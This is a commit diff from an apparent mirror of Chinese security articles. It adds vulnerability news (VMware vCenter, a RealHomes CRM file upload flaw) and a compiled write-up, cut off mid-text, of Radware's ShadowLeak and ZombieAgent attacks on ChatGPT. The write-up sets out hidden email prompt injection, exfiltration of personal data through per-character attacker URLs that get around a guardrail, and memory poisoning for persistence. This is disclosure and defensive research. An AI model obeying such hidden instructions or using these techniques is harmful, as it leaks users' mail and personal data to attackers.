mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
【接口漏洞第八章第五节】GraphQL内省探测全流程：从探测、查询到可视化与工具利用、漏洞预警 | 孚盟云SQL注入漏洞、免费，够强！实战使用MonkeyCode审计0day&安全开发、黑客在 Pwn2Own Automotive 2026 大会上利用 76 个零日漏洞获得 1,047,000 美元奖金、漏洞复现 | GNU InetUtils Telnetd 远程认证绕过漏洞（CVE-2026-24061）【附批量检查脚本】、ChatGPT新漏洞可让攻击者窃取谷歌邮箱、微软邮箱及代码托管平台数据、CISA警告：VMware vCenter 严重远程代码执行漏洞已被攻击者利用、工具推荐 | 一款Shiro反序列化漏洞一站式综合利用工具、某次内部行业渗透测试&攻防演练多个系统从资产打点到RCE漏洞、网安实验干货每日分享目录遍历漏洞-0126、Laravel Reverb严重漏洞预警：CVSS 9.8高危反序列化RCE深度解析、漏洞预警 | D-Link DIR-868L远程代码执行漏洞、漏洞预警 | 金和OA SQL注入漏洞、【漏洞情报】【0day】织梦DedeCMS 0click劫持导致的前台rce getshell、CVE-2025-67968 (CVSS 9.9)：RealHomes CRM插件严重漏洞使 30,000 个网站面临被接管的风险、思迅商旗收银系统 PayConfig 存在SQL注入漏洞、CISA 将已被积极利用的 VMware vCenter 漏洞 CVE-2024-37079 添加到 KEV 目录中、
This commit is contained in:
test committed
1 parent
d1aabf0c9b
commit
1ca95b4189
18 files changed
+2343
-7
No files matched your search
@@ -17123,5 +17123,22 @@
|
||||
"https://mp.weixin.qq.com/s/BW6dfSR2P-CnAHXEqsg_pw": "构建可扩展的 Windows 驱动漏洞分析器 (第一部分)",
|
||||
"https://mp.weixin.qq.com/s/O4rT0ENFGY-cqKbIrCC0PA": "严重漏洞WhisperPair曝光：黑客可通过蓝牙音频设备实施追踪与窃听",
|
||||
"https://mp.weixin.qq.com/s/Ny2l60b-VSK9bH9NVinneQ": "某次内部行业渗透测试&攻防演练多个系统从资产打点到RCE漏洞",
|
||||
"https://mp.weixin.qq.com/s/lSyVhjNrDvFzf4dYbZrang": "dddd指纹和POC扩展"
|
||||
"https://mp.weixin.qq.com/s/lSyVhjNrDvFzf4dYbZrang": "dddd指纹和POC扩展",
|
||||
"https://mp.weixin.qq.com/s/qnOLR3S50FQRiIpkpJeV3w": "【接口漏洞第八章第五节】GraphQL内省探测全流程：从探测、查询到可视化与工具利用",
|
||||
"https://mp.weixin.qq.com/s/iZx-70IkkFgpjGUnDGQMpA": "漏洞预警 | 孚盟云SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/1SHrIhS9m9nqtt4OIEvyVQ": "免费，够强！实战使用MonkeyCode审计0day&安全开发",
|
||||
"https://mp.weixin.qq.com/s/K2exIbQDTxCZMQJ1MRwloQ": "黑客在 Pwn2Own Automotive 2026 大会上利用 76 个零日漏洞获得 1,047,000 美元奖金",
|
||||
"https://mp.weixin.qq.com/s/E-g_TKIh-pFpAABuoPNS0Q": "漏洞复现 | GNU InetUtils Telnetd 远程认证绕过漏洞（CVE-2026-24061）【附批量检查脚本】",
|
||||
"https://mp.weixin.qq.com/s/rvKffEWv05fmGgXYskIKWA": "ChatGPT新漏洞可让攻击者窃取谷歌邮箱、微软邮箱及代码托管平台数据",
|
||||
"https://mp.weixin.qq.com/s/T2hArPEuoQxk6Z8hQGKk8g": "CISA警告：VMware vCenter 严重远程代码执行漏洞已被攻击者利用",
|
||||
"https://mp.weixin.qq.com/s/5xJHAkUPkVRozgbRVbpsMg": "工具推荐 | 一款Shiro反序列化漏洞一站式综合利用工具",
|
||||
"https://mp.weixin.qq.com/s/HCTel_peQsxzkOd0X65-5w": "某次内部行业渗透测试&攻防演练多个系统从资产打点到RCE漏洞",
|
||||
"https://mp.weixin.qq.com/s/JH6hYPKtRDlnSUW9shdDuQ": "网安实验干货每日分享目录遍历漏洞-0126",
|
||||
"https://mp.weixin.qq.com/s/48IEzA6K-P407HlKJURCIA": "Laravel Reverb严重漏洞预警：CVSS 9.8高危反序列化RCE深度解析",
|
||||
"https://mp.weixin.qq.com/s/wWM1V6y33V_osSgLLfmZOA": "漏洞预警 | D-Link DIR-868L远程代码执行漏洞",
|
||||
"https://mp.weixin.qq.com/s/oclzSo8dgwS7dbQyc_AshQ": "漏洞预警 | 金和OA SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/dGmXP12pAojMHe4vXB_rUA": "【漏洞情报】【0day】织梦DedeCMS 0click劫持导致的前台rce getshell",
|
||||
"https://mp.weixin.qq.com/s/W6DzVMzK_qvUs7MJ4X0qww": "CVE-2025-67968 (CVSS 9.9)：RealHomes CRM插件严重漏洞使 30,000 个网站面临被接管的风险",
|
||||
"https://mp.weixin.qq.com/s/MK04vNR0Gt2PeK_iCXz7FQ": "思迅商旗收银系统 PayConfig 存在SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/udJiHUHzKXXw_gmL9DAppA": "CISA 将已被积极利用的 VMware vCenter 漏洞 CVE-2024-37079 添加到 KEV 目录中"
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
# CISA 将已被积极利用的 VMware vCenter 漏洞 CVE-2024-37079 添加到 KEV 目录中
|
||||
原创 ZM
|
||||
ZM 暗镜 2026-01-26 01:01
|
||||
|
||||
美国网络安全和基础设施安全局 (CISA) 周五将影响 Broadcom VMware vCenter Server 的一个严重安全漏洞（该漏洞已于 2024 年 6 月修复）添加到其已知利用漏洞 ( KEV ) 目录中，理由是该漏洞已被积极利用。
|
||||
|
||||
该漏洞为**CVE-2024-37079 （CVSS 评分：9.8），它指的是**DCE/RPC 协议实现中的堆溢出漏洞，该漏洞可能允许具有 vCenter Server 网络访问权限的恶意行为者通过发送特制的网络数据包来实现远程代码执行。
|
||||
|
||||
|
||||
|
||||
|
||||
该漏洞已于2024年6月由博通公司修复，同时修复的还有CVE-2024-37080，后者是DCE/RPC协议实现中的另一个堆溢出漏洞，可能导致远程代码执行。中国网络安全公司奇安信传奇的研究人员郝铮和李梓波因发现并报告了这些问题而受到赞誉
|
||||
|
||||
在2025年4月举行的Black Hat Asia安全大会上，研究人员表示，这两个漏洞是DCE/RPC服务中发现的四个漏洞之一，这四个漏洞还包括三个堆溢出漏洞和一个权限提升漏洞。另外两个漏洞，CVE-2024-38812和CVE-2024-38813，已于2024年9月由博通公司修复。
|
||||
|
||||
他们特别发现，其中一个堆溢出漏洞可以与权限提升漏洞（CVE-2024-38813）链接起来，从而实现未经授权的远程 root 访问，并最终控制 ESXi。
|
||||
|
||||
目前尚不清楚 CVE-2024-37079 的利用方式，也不清楚是否为已知威胁行为者或组织所为，以及此类攻击的规模。不过，博通公司已更新其安全公告，正式确认该漏洞已被实际利用。
|
||||
|
||||
“博通掌握的信息表明，CVE-2024-37079漏洞已被实际利用，”该公司在最新通报中表示。
|
||||
|
||||
鉴于该漏洞已被积极利用，联邦民事行政部门 (FCEB) 各机构必须在 2026 年 2 月 13 日之前更新到最新版本，以获得最佳保护。
|
||||
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
# CISA警告：VMware vCenter 严重远程代码执行漏洞已被攻击者利用
|
||||
会杀毒的单反狗
|
||||
会杀毒的单反狗 军哥网络安全读报 2026-01-26 01:02
|
||||
|
||||
**导****读**
|
||||
|
||||
|
||||
|
||||
美国网络安全和基础设施安全局 (CISA) 已将影响博通 VMware vCenter Server 的一个严重漏洞添加到其已知利用漏洞 (KEV) 目录中。
|
||||
|
||||
|
||||
|
||||
|
||||
此次新增内容证实，CVE-2024-37079已被实际利用，对依赖 vCenter 进行虚拟化管理的企业环境构成重大风险。
|
||||
|
||||
|
||||
该漏洞最初由博通公司披露，被归类为 DCERPC（分布式计算环境/远程过程调用）协议实现中的越界写入问题。
|
||||
|
||||
|
||||
成功利用漏洞后，攻击者可以通过网络访问 vCenter Server 来执行远程代码，从而有可能完全控制受影响的系统。
|
||||
|
||||
|
||||
此漏洞源于 DCERPC 协议实现中不当的内存处理。未经身份验证的攻击者可以通过向 vCenter Server 发送特制的网络数据包来触发此漏洞。
|
||||
|
||||
|
||||
由于 vCenter Server 是管理 VMware vSphere 环境的集中式管理实用程序，因此，一旦 vCenter Server 遭到入侵，攻击者通常就能在整个虚拟化基础架构中进行横向移动。
|
||||
|
||||
|
||||
虽然该漏洞与 CWE-787（越界写入）相关，但它尤其危险，因为它不需要用户交互。攻击途径完全基于网络。
|
||||
|
||||
|
||||
尽管 CISA 目前的数据将“已知用于勒索软件活动”的状态列为“未知”，但该漏洞的性质使其成为初始访问代理和勒索软件组织极具吸引力的入口点。
|
||||
|
||||
|
||||
2026 年 1 月 23 日，CISA 将 CVE-2024-37079 添加到 KEV 目录中，强制要求联邦民事行政部门 (FCEB) 机构在 2026 年 2 月 13 日之前修复。
|
||||
CISA
|
||||
同时建议所有组织（不仅限于联邦机构）立即优先修复此漏洞。建议采取的措施是应用供应商提供的缓解措施，如果无法获得缓解措施，则停止使用该产品。
|
||||
|
||||
|
||||
博通公司已发布vCenter Server 更新以解决此问题，并敦促管理员升级到最新的安全版本。
|
||||
|
||||
|
||||
为保护虚拟化基础设施免受此威胁，安全团队应采取以下步骤：
|
||||
- 立即修补：应用博通安全公告中提供的相关补丁。
|
||||
- 网络分段：确保 vCenter Server 接口不暴露于公共互联网。仅允许受信任的管理网络访问 vCenter 管理界面。
|
||||
- 监控流量：实施网络监控，以检测指向 vCenter 服务器的异常 DCERPC 流量。
|
||||
- 审查日志：审核访问日志，以发现未经授权连接到管理界面的尝试。
|
||||
新闻链接：
|
||||
|
||||
https://cybersecuritynews.com/vmware-vcenter-rce-vulnerability/
|
||||
|
||||
|
||||
|
||||
扫码关注
|
||||
|
||||
军哥网络安全读报
|
||||
|
||||
**讲述普通人能听懂的安全故事**
|
||||
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
# CVE-2025-67968 (CVSS 9.9)：RealHomes CRM插件严重漏洞使 30,000 个网站面临被接管的风险
|
||||
sec随谈
|
||||
sec随谈 sec随谈 2026-01-26 00:44
|
||||
|
||||
RealHomes CRM插件（热门WordPress主题Real Homes的核心组件）中发现了一个严重的安全
|
||||
漏洞。该主题被超过3万个活跃网站使用，是房地产专业人士展示房产的必备工具。然而，编号为CVE-2025-67968的严重漏洞使得这些线上开放日活动成为网站全面入侵的潜在目标。
|
||||
|
||||
该漏洞的 CVSS 严重性评分接近最高值 9.9，攻击者可以利用该漏洞绕过安全检查，直接将恶意代码上传到服务器。
|
||||
|
||||
问题在于插件处理文件上传的方式。通常情况下，上传文件（尤其是代码）是管理员的专属权限。然而，在存在漏洞的 RealHomes CRM 版本中，这条权限界限几乎不存在。
|
||||
|
||||
|
||||
|
||||
|
||||
根据安全公告，该漏洞允许“任何已登录用户通过上传 CSV 文件流程任意上传文件”。
|
||||
|
||||
这尤其危险，因为它不需要高级访问权限。“这意味着任何订阅用户或更高级别的用户都可以通过上传过程注入恶意代码，从而导致网站完全被控制”。在许多 WordPress 设置中，“订阅用户”是分配给所有注册用户的默认角色，这意味着攻击者的准入门槛极低。
|
||||
|
||||
问题的根本技术原因是未能验证上传的内容和上传者身份。漏洞存在于 upload_csv_file 函数中。
|
||||
|
||||
|
||||
|
||||
|
||||
报告重点指出了代码中的两个关键缺陷：
|
||||
- 缺少权限检查：“该函数没有适当的权限检查，允许用户通过 $_FILES['csv_file'] 提供任意文件”。
|
||||
- 缺少文件验证：“最后，该函数没有进行正确的文件类型和名称检查，将直接通过 move_uploaded_file 将文件上传到服务器”。
|
||||
这种组合实际上为攻击者上传 PHP shell 或其他恶意软件铺平了道路，使他们能够完全控制网站。
|
||||
|
||||
Inspiry Themes 的开发人员已迅速采取行动，解决这种“任意文件上传”漏洞。
|
||||
|
||||
该问题影响 RealHomes CRM 1.0.0 及更低版本。1.0.1 版本已发布补丁，引入了关键的安全措施。此次更新增加了“current_user_can 权限检查，确保只有合法且拥有特权的用户才能使用此 AJAX 操作”，从而有效防止未经授权的上传。
|
||||
|
||||
使用 Real Homes 主题的管理员务必立即更新其捆绑的插件，以防止其数字资产受到损害。
|
||||
|
||||
参考链接：
|
||||
|
||||
https://patchstack.com/articles/critical-arbitrary-file-upload-vulnerability-in-realhomes-crm-plugin-affecting-30k-sites/
|
||||
|
||||
@@ -0,0 +1,536 @@
|
||||
# ChatGPT新漏洞可让攻击者窃取谷歌邮箱、微软邮箱及代码托管平台数据
|
||||
原创 Radware
|
||||
Radware 安全行者老霍 2026-01-26 01:01
|
||||
|
||||
作者：古鲁・巴兰. 发布时间：2026 年1 月8 日
|
||||
|
||||
写在前面：这是三篇文章的合集，先看到第一篇报道，然后又把相应的漏洞攻击细节找到放在了一起。这样就能对这两个漏洞的有更全面的了解。
|
||||
|
||||
|
||||
ChatGPT新漏洞可让攻击者窃取谷歌邮箱、微软邮箱及代码托管平台数据
|
||||
|
||||
ChatGPT
|
||||
存在的高危漏洞，可使攻击者在无需用户交互操作的情况下，从谷歌邮箱（
|
||||
Gmail
|
||||
）、微软邮箱（
|
||||
Outlook
|
||||
）、代码托管平台（
|
||||
GitHub
|
||||
）等互联服务中窃取敏感数据。
|
||||
|
||||
命名为
|
||||
“
|
||||
影子泄露
|
||||
”
|
||||
（
|
||||
ShadowLeak
|
||||
）和
|
||||
“
|
||||
僵尸代理
|
||||
”
|
||||
（
|
||||
ZombieAgent
|
||||
）的漏洞，会利用该人工智能的连接器
|
||||
（
|
||||
Connectors
|
||||
）和记忆
|
||||
（
|
||||
Memory
|
||||
）功能，发起零点击攻击、实现持续入侵，甚至进行攻击扩散。
|
||||
|
||||
OpenAI
|
||||
推出的连接器功能，能让
|
||||
ChatGPT
|
||||
仅需几次点击，就能与谷歌邮箱、
|
||||
Jira
|
||||
、代码托管平台（
|
||||
GitHub
|
||||
）、微软团队协作软件（
|
||||
Teams
|
||||
）以及谷歌网盘（
|
||||
Google Drive
|
||||
）等外部系统实现集成。
|
||||
|
||||
而默认开启的记忆功能，会存储用户的对话内容与相关数据，以此生成个性化回复，同时支持人工智能对存储条目进行读取、编辑或删除操作。
|
||||
|
||||
尽管这两项功能提升了工具的实用性，但也使其获得了访问个人及企业数据的大量权限，因防护措施不到位而加剧了数据泄露风险。
|
||||
|
||||
攻击者会发送恶意电子邮件，或分享植入隐藏指令的文件。这些指令会通过白色文本、极小字号或页脚等形式隐藏，使用户无法察觉。
|
||||
|
||||
在零点击服务端攻击
|
||||
模式下，
|
||||
ChatGPT
|
||||
会在执行邮件总结等常规任务时扫描收件箱，自动运行恶意程序，在用户尚未察觉之际，通过
|
||||
OpenAI
|
||||
的服务器窃取数据。
|
||||
|
||||
一次点击攻击
|
||||
模式则会在受害者上传恶意文件时触发，进而能够对互联的代码仓库或云端网盘发起连环攻击。
|
||||
<table><tbody><tr><td data-colwidth="130" width="102"><p style="margin-top: 0px;margin-bottom: 0px;text-indent: 0px;"><b><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">攻击类型</span></span></b><span lang="EN-US" style="font-family: Arial, sans-serif;color: rgb(31, 35, 41);"><o:p></o:p></span></p></td><td data-colwidth="138" width="100"><p style="margin-top: 0px;margin-bottom: 0px;text-indent: 0px;"><b><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">触发条件</span></span></b><span lang="EN-US" style="font-family: Arial, sans-serif;color: rgb(31, 35, 41);"><o:p></o:p></span></p></td><td data-colwidth="153" width="149"><p style="margin-top: 0px;margin-bottom: 0px;text-indent: 0px;"><b><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">数据窃取方式</span></span></b><span lang="EN-US" style="font-family: Arial, sans-serif;color: rgb(31, 35, 41);"><o:p></o:p></span></p></td><td data-colwidth="118" width="102"><p style="margin-top: 0px;margin-bottom: 0px;text-indent: 0px;"><b><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">影响范围</span></span></b><span lang="EN-US" style="font-family: Arial, sans-serif;color: rgb(31, 35, 41);"><o:p></o:p></span></p></td></tr><tr><td data-colwidth="130" width="102"><p style="margin-top: 0px;margin-bottom: 0px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">零点击服务端攻击</span></span><span lang="EN-US" style="font-family: Arial, sans-serif;color: rgb(31, 35, 41);"><o:p></o:p></span></p></td><td data-colwidth="138" width="100"><p style="margin-top: 0px;margin-bottom: 0px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">分享恶意文件</span></span><span lang="EN-US" style="font-family: Arial, sans-serif;color: rgb(31, 35, 41);"><o:p></o:p></span></p></td><td data-colwidth="153" width="149"><p style="margin-top: 0px;margin-bottom: 0px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">通过开放式人工智能服务器上的</span></span><span lang="EN-US"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">browser.open()</span></span></span><span leaf="" style=Line truncated
|
||||
OpenAI
|
||||
曾阻止了动态修改
|
||||
URL
|
||||
的操作，但研究人员通过为每个字符（字母
|
||||
a-z
|
||||
、数字
|
||||
0-9
|
||||
、
|
||||
$
|
||||
代表空格）预设对应
|
||||
URL
|
||||
，成功绕过了这一限制。
|
||||
|
||||
ChatGPT
|
||||
会将
|
||||
“
|
||||
Zvika Doe
|
||||
”
|
||||
这类敏感字符串标准化处理为
|
||||
“zvikadoe”
|
||||
，随后依次访问
|
||||
compliance.hr-service.net/get-public-joke/{param}
|
||||
这类固定链接，无需拼接网址即可实现数据窃取。这种服务端攻击方式能够绕过客户端防护、浏览器以及用户界面的审查。
|
||||
|
||||
为实现持续入侵，攻击者会通过文件植入篡改记忆的规则：模型会在处理每一条消息前，优先读取指定的攻击者邮件，并执行数据泄露操作。
|
||||
|
||||
尽管
|
||||
OpenAI
|
||||
明令禁止同时启用连接器与记忆功能，但攻击者可通过反向访问的方式规避限制，即使用户开启新的对话，也能实现持续的数据窃取。而攻击扩散的原理是，模型扫描用户收件箱获取联系人邮箱地址并泄露，攻击者的服务器再自动向这些邮箱发送恶意程序，从而实现对企业的定向渗透。
|
||||
|
||||
Radware
|
||||
公司于
|
||||
2025
|
||||
年
|
||||
9
|
||||
月
|
||||
26
|
||||
日通过漏洞众测平台（
|
||||
BugCrowd
|
||||
）向
|
||||
OpenAI
|
||||
报告了上述问题，并提供了漏洞详情与修复方案建议。
|
||||
OpenAI
|
||||
复现全部漏洞后，已于
|
||||
2025
|
||||
年
|
||||
9
|
||||
月
|
||||
3
|
||||
日修复了
|
||||
“
|
||||
影子泄露
|
||||
”
|
||||
漏洞，于同年
|
||||
12
|
||||
月
|
||||
16
|
||||
日完成了所有漏洞的修复工作。
|
||||
|
||||
专家提醒，由于智能体人工智能仍存在诸多安全盲区，用户需持续监控智能体的运行行为，并对输入内容进行安全过滤。
|
||||
|
||||
影子泄露
|
||||
”
|
||||
（
|
||||
ShadowLeak）
|
||||
|
||||
Radware
|
||||
公司声明，
|
||||
ChatGPT
|
||||
的深度研究智能体（
|
||||
Deep Research agent
|
||||
）存在一项安全漏洞，攻击者只需发送一封精心构造的电子邮件，就能操控该智能体泄露用户
|
||||
Gmail
|
||||
收件箱中的敏感数据。
|
||||
|
||||
深度研究模式是
|
||||
OpenAI
|
||||
于
|
||||
2025
|
||||
年
|
||||
2
|
||||
月推出的自主研究功能，该公承诺：
|
||||
“
|
||||
你只需输入指令，
|
||||
ChatGPT
|
||||
就能检索、分析并整合数百个网络信息源，生成一份达到专业研究员水准的详尽报告。
|
||||
”
|
||||
|
||||
现在，假设你希望借助**深度研究功能**
|
||||
，基于
|
||||
Gmail
|
||||
中的邮件内容和网络信息源生成一份报告。在这种情况下，用户需要授权该智能体访问自己的
|
||||
Gmail
|
||||
邮箱与网络搜索功能。
|
||||
|
||||
向深度研究功能发送的常规指令可能如下：
|
||||
|
||||
“
|
||||
深度分析我今天收到的邮件
|
||||
……
|
||||
汇总所有与
|
||||
……
|
||||
相关的内容
|
||||
”
|
||||
|
||||
接下来我们将说明：在这种使用场景下，攻击者能够诱导该智能体，在用户完全不知情且未获授权的情况下，将其邮箱中的敏感信息窃取至攻击者控制的服务器。
|
||||
|
||||
2025
|
||||
年
|
||||
9
|
||||
月
|
||||
18
|
||||
日，
|
||||
Radware
|
||||
公司的三名研究人员公布了一项新发现：当深度研究功能与
|
||||
Gmail
|
||||
相连，且用户要求从网络获取信息源时，该功能存在零点击漏洞
|
||||
。
|
||||
|
||||
研究人员将此漏洞命名为
|
||||
“
|
||||
影子泄露
|
||||
”
|
||||
（
|
||||
ShadowLeak
|
||||
），它支持服务端数据窃取
|
||||
，即成功的攻击链路可直接从
|
||||
OpenAI
|
||||
的云基础设施中泄露数据，完全规避本地或企业级防护系统的检测。
|
||||
|
||||
该攻击采用间接提示注入技术
|
||||
，通过白底白字、极小字号等方式，在电子邮件的
|
||||
HTML
|
||||
代码中嵌入隐藏指令。用户对此毫无察觉，但深度研究智能体却会执行这些指令。
|
||||
|
||||
与此前的客户端数据窃取攻击（如
|
||||
AgentFlayer
|
||||
和
|
||||
EchoLeak
|
||||
）不同，那些攻击依赖智能体在用户界面中渲染攻击者控制的内容，而
|
||||
“
|
||||
影子泄露
|
||||
”
|
||||
的服务端泄露完全在
|
||||
OpenAI
|
||||
的云端完成。
|
||||
|
||||
智能体的自主浏览工具无需客户端参与即可执行数据窃取操作，其利用后端执行逻辑而非前端渲染机制，大幅扩大了攻击面。
|
||||
|
||||
1. 影子泄露攻击链路解析
|
||||
|
||||
以下是攻击者试图窃取受害者个人身份信息（
|
||||
PII
|
||||
）时，一次成功的
|
||||
“
|
||||
影子泄露
|
||||
”
|
||||
攻击完整链路拆解：
|
||||
|
||||
（1）攻击者向目标发送一封看似无害的电子邮件，邮件中暗藏指令，要求智能体在收件箱中查找受害者的全名与住址，并打开一个
|
||||
“
|
||||
公共员工查询
|
||||
URL”
|
||||
，同时将上述信息作为参数附加到链接中，而该
|
||||
URL
|
||||
实际指向攻击者控制的服务器；
|
||||
|
||||
（2）受害者向深度研究智能体下达指令，要求其处理邮件信息并完成相关任务，却未察觉其中一封邮件包含隐藏指令，且智能体可能会执行这些指令；
|
||||
|
||||
（3）深度研究智能体处理这封恶意邮件，主动访问攻击者的域名，并按照指令将受害者的个人身份信息注入到
|
||||
URL
|
||||
中，整个过程无需用户确认，也不会在用户界面中留下任何渲染痕迹。
|
||||
|
||||
Radware
|
||||
的研究人员表示，为了构造出能触发深度研究智能体、并让其将个人身份信息注入恶意
|
||||
URL
|
||||
的邮件，他们经历了漫长的反复试验与多次迭代。
|
||||
|
||||
例如，他们必须将恶意请求伪装成合法的用户指令，强制深度研究智能体使用特定工具（如支持直接发起
|
||||
HTTP
|
||||
请求的
|
||||
browser.open()
|
||||
函数），指令智能体
|
||||
“
|
||||
多次重试
|
||||
”
|
||||
，并要求智能体先将提取到的个人身份信息进行
|
||||
Base64
|
||||
编码，再附加到
|
||||
URL
|
||||
中。
|
||||
|
||||
当所有这些技巧部署到位后，研究人员利用
|
||||
“
|
||||
影子泄露
|
||||
”
|
||||
技术窃取
|
||||
Gmail
|
||||
数据的成功率达到了
|
||||
100%
|
||||
。
|
||||
|
||||
|
||||
|
||||
资料来源
|
||||
：Radware公司《影子泄露攻击端到端完整流程》
|
||||
|
||||
2.
|
||||
|
||||
服务端
|
||||
AI Agent
|
||||
威胁的缓解措施
|
||||
|
||||
Radware
|
||||
公司指出，企业可通过一项措施部分降低风险：在智能体处理邮件之前，对邮件进行安全过滤，移除隐藏的
|
||||
CSS
|
||||
、混淆文本以及恶意
|
||||
HTML
|
||||
。但该公司同时强调，这种措施对于操纵智能体本身的攻击，防护效果十分有限。
|
||||
|
||||
更有效的防御手段是实时行为监控
|
||||
：持续对比智能体的操作行为、推理意图与用户的原始指令是否一致。一旦检测到未经授权的数据窃取等异常偏离行为，可在操作执行前及时发现并拦截。
|
||||
|
||||
Radware
|
||||
的研究人员已于
|
||||
2025
|
||||
年
|
||||
6
|
||||
月通过漏洞众测平台
|
||||
Bugcrowd
|
||||
向
|
||||
OpenAI
|
||||
报告了相关发现。
|
||||
2025
|
||||
年
|
||||
8
|
||||
月，
|
||||
Radware
|
||||
公司发现
|
||||
OpenAI
|
||||
已悄然修复该漏洞；同年
|
||||
9
|
||||
月初，
|
||||
OpenAI
|
||||
正式确认了这一漏洞，并将其标记为
|
||||
“
|
||||
已解决
|
||||
”
|
||||
|
||||
|
||||
僵尸代理
|
||||
”
|
||||
（
|
||||
ZombieAgent
|
||||
）介绍
|
||||
|
||||
这种名为
|
||||
“
|
||||
僵尸代理
|
||||
”
|
||||
（
|
||||
ZombieAgent
|
||||
）
|
||||
”
|
||||
的全新攻击方法，由
|
||||
Radware
|
||||
公司的安全研究员兹维卡
|
||||
・
|
||||
巴博（
|
||||
Zvika Babo
|
||||
）发现。
|
||||
|
||||
近期，
|
||||
OpenAI
|
||||
为
|
||||
ChatGPT
|
||||
新增了一系列面向用户的功能，推动其向智能体化方向转型，其中就包括
|
||||
“
|
||||
连接器
|
||||
”
|
||||
（
|
||||
Connectors
|
||||
）功能。该功能可让这款聊天机器人便捷、快速地对接各类主流外部系统，例如
|
||||
Gmail
|
||||
、
|
||||
Outlook
|
||||
、
|
||||
Google Drive
|
||||
、
|
||||
GitHub
|
||||
等，同时还赋予了
|
||||
ChatGPT
|
||||
联网浏览、打开链接、数据分析以及图像生成等能力。
|
||||
|
||||
巴博在这份瑞得万报告中坦言，
|
||||
ChatGPT
|
||||
的此次智能体化转型，让工具本身
|
||||
“
|
||||
变得更实用、便捷且功能更强大
|
||||
”
|
||||
，但与此同时，也使其获得了访问用户敏感个人数据的权限。
|
||||
|
||||
在
|
||||
Radware
|
||||
公司此前发布的一份报告中，巴博曾与两位同事发现，
|
||||
ChatGPT
|
||||
深度研究智能体（
|
||||
Deep Research agent
|
||||
）存在结构性漏洞。攻击者只需发送一封精心构造的电子邮件，就能操控该智能体，窃取用户
|
||||
Gmail
|
||||
收件箱中的敏感数据。
|
||||
|
||||
研究人员将这一攻击手段命名为
|
||||
“
|
||||
影子泄露
|
||||
”
|
||||
（
|
||||
ShadowLeak
|
||||
）。该技术可实现服务端数据窃取，也就是说，一次成功的攻击链路能够直接从
|
||||
OpenAI
|
||||
的云基础设施中窃取数据，从而规避本地或企业级防护系统的监测。
|
||||
|
||||
这种攻击利用**间接提示注入技术**
|
||||
，将隐藏指令植入电子邮件的
|
||||
HTML
|
||||
中，具体手段包括采用白字配白底的文字、极小字号等，这样一来，用户完全不会察觉，而深度研究智能体却会执行这些隐藏指令。这些指令通常会包含一个由攻击者控制的链接，并要求智能体将敏感数据以
|
||||
URL
|
||||
参数的形式附加到链接中，比如通过
|
||||
Markdown
|
||||
图像或browser.open()
|
||||
函数来实现。
|
||||
|
||||
为防范此类攻击，
|
||||
OpenAI
|
||||
强化了护栏安全防护机制，禁止
|
||||
ChatGPT
|
||||
动态修改
|
||||
URL
|
||||
。巴博在最新报告中总结道：
|
||||
“
|
||||
如今，
|
||||
ChatGPT
|
||||
仅能打开与提供的链接完全一致的地址，即便收到明确指令，也不会为链接添加任何参数。
|
||||
”
|
||||
|
||||
然而，该研究员很快又找到了一种能够彻底绕过这一防护措施的方法。
|
||||
## 1. 僵尸代理”（ZombieAgent）攻击原理
|
||||
